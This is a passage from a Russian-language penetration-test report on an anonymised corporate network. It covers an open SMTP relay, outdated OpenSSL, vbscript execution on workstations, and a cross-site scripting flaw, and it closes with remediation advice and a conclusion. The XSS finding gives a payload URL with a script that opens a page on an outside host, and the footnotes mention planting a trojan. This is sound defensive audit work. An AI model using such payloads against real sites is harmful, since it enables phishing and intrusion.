2. Сервисы 141.xx.xx.14:25, 141.xx.xx.17:25 и 141.xx.xx.19:25, соответственно их предназначению, принимают почту к доменам xxy.ru, xxi.ru и xxz.ru. Но, кроме этого, любой желающий может отправлять почту с произвольного (даже несуществующего) адреса указанных доменов, не будучи обязанным использовать какой-либо механизм аутентификации! Эта уязвимость позволяет любому желающему отправлять любое сообщение с любого адреса в интересующем домене на любой адрес в этом домене.

3. Среди компонентов веб-сервера portal.xxy.ru имеется уязвимый OpenSSL/0.9.5a
4. CSS (Cross Site Scripting): http://portal.xxy.ru/servlet/<script>open("http://80.xx.xx.94/getter.html")</script>/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/xz.jsp. Таким образом, можно маскировать деструктивные линки под оригинальные, принадлежащие portal.xxy.ru.

5. На рабочих станциях пользователей возможно выполнение vbscript-скриптов

6. Действия по проникновению, вероятнее всего, не были обнаружены администраторами сети

7. Избыточная уверенность администраторов в неуязвимости собственных ресурсов из Интернет из-за «многослойности» применяемых средств защит 

8. Отсутствие или недостаточная проработанность внутренней политики безопасности

9. Недостаточная осведомленность пользователей о существующей политике безопасности

Основные результаты, полученные в ходе выполнения данной работы по тестовому проникновению  в корпоративную сеть:

1. Осуществлено успешное проникновение в корпоративную сеть ОАО «XXX»

2. Обнаружен ряд уязвимостей, которые могут быть использованы для проникновение в систему, что было подтверждено полученными результатами

Основные рекомендации по повышению текущего уровня защищенности и по устранению найденных уязвимостей:

1. Установить патчи на уязвимые на отказ в обслуживании SMTP-сервисы MS Exchange 5.5

2. На SMTP сервисах 141.xx.xx.14:25, 141.xx.xx.17:25 и 141.xx.xx.19:25 необходимо запретить «обычную» smtp-отправку почты через эти сервисы с адресов, домены которых они обслуживают, и ввести любой приемлемый механизм аутентификации, который поддерживает MS Exchange.

3. Осуществить апгрейд уязвимого компонента OpenSSL/0.9.5a хоста 141.xx.xx.11 (portal.xxy.ru) последними секьюрити-патчами

4. Для защиты от Cross Site Scripting  необходимо проработать дефолтные ответы на некорректные запросы на портале portal.xxy.ru, которые сообщают ненужную информацию (вроде путей, etc); 

5. Необходимо запретить возможность выполнения vbscript-скриптов на рабочих станциях пользователей

6. Необходимо отфильтровывать внешний HTTP-траффик, содержащий в заголовках строку 'Content-Type: application/hta'.

7. Необходимо как можно более аккуратно применять последние security-патчи от Microsoft (в особенности к программам Internet Explorer и Outlook Express!). Следует помнить, что эти две программы, от которых корпоративным пользователям просто невозможно отказаться (в силу ряда объективных причин) - две самые популярные мишени для взломщиков.

8. Провести полный внутренний аудит угроз безопасности информационной системы с разработкой предложений по повышению текущего уровня защищенности и созданию адекватной политики внутренней безопасности 

9. Регулярно проводить тренинги персонала по вопросам информационной безопасности

6. Заключение

На сегодняшний день корпоративная сеть ОАО «XXX»  надежно защищена от подавляющего большинства злоумышленников из сети Интернет. Также сеть надежно защищена от всех случайных попыток внешнего проникновения. Однако в том случае, если задача по проникновению в систему будет целенаправленно поставлена кем-либо (конкурентами и т.д.) перед профессионалом высокого класса, то вероятность проникновения на сегодняшний день существует (хотя и не велика), что и было с успехом доказано на практике в ходе выполнения этой работы. 

� Все адреса являются вымышленными  


� Если эта политика продумана и правильно реализована в полном объеме, то взлом такой сети будет весьма непростой задачей. Что и подтвердилось впоследствии.   


� Они пригодятся позже


� 13 числа было обнаружено «поднятие» (либо открытие наружу) нового сервиса: 141.xx.xx.11:80/tcp, то есть portal.xxy.ru. Было произведено исследование этого сервиса, информация о котором следует далее в разделе 3.


� При попытках внедрения троянца в исследуемую сеть, хост, с которого осуществлялась атака, получил несколько разных http-сессий с адреса 141.xx.xx.11. Отсюда можно сделать вывод, что 141.xx.xx.11 - это прокси-сервер «для своих».





� Затем эта уязвимость была с успехом использована при внедрении троянца в корпоративную сеть (Часть 4).


� Все имена являются вымышленными






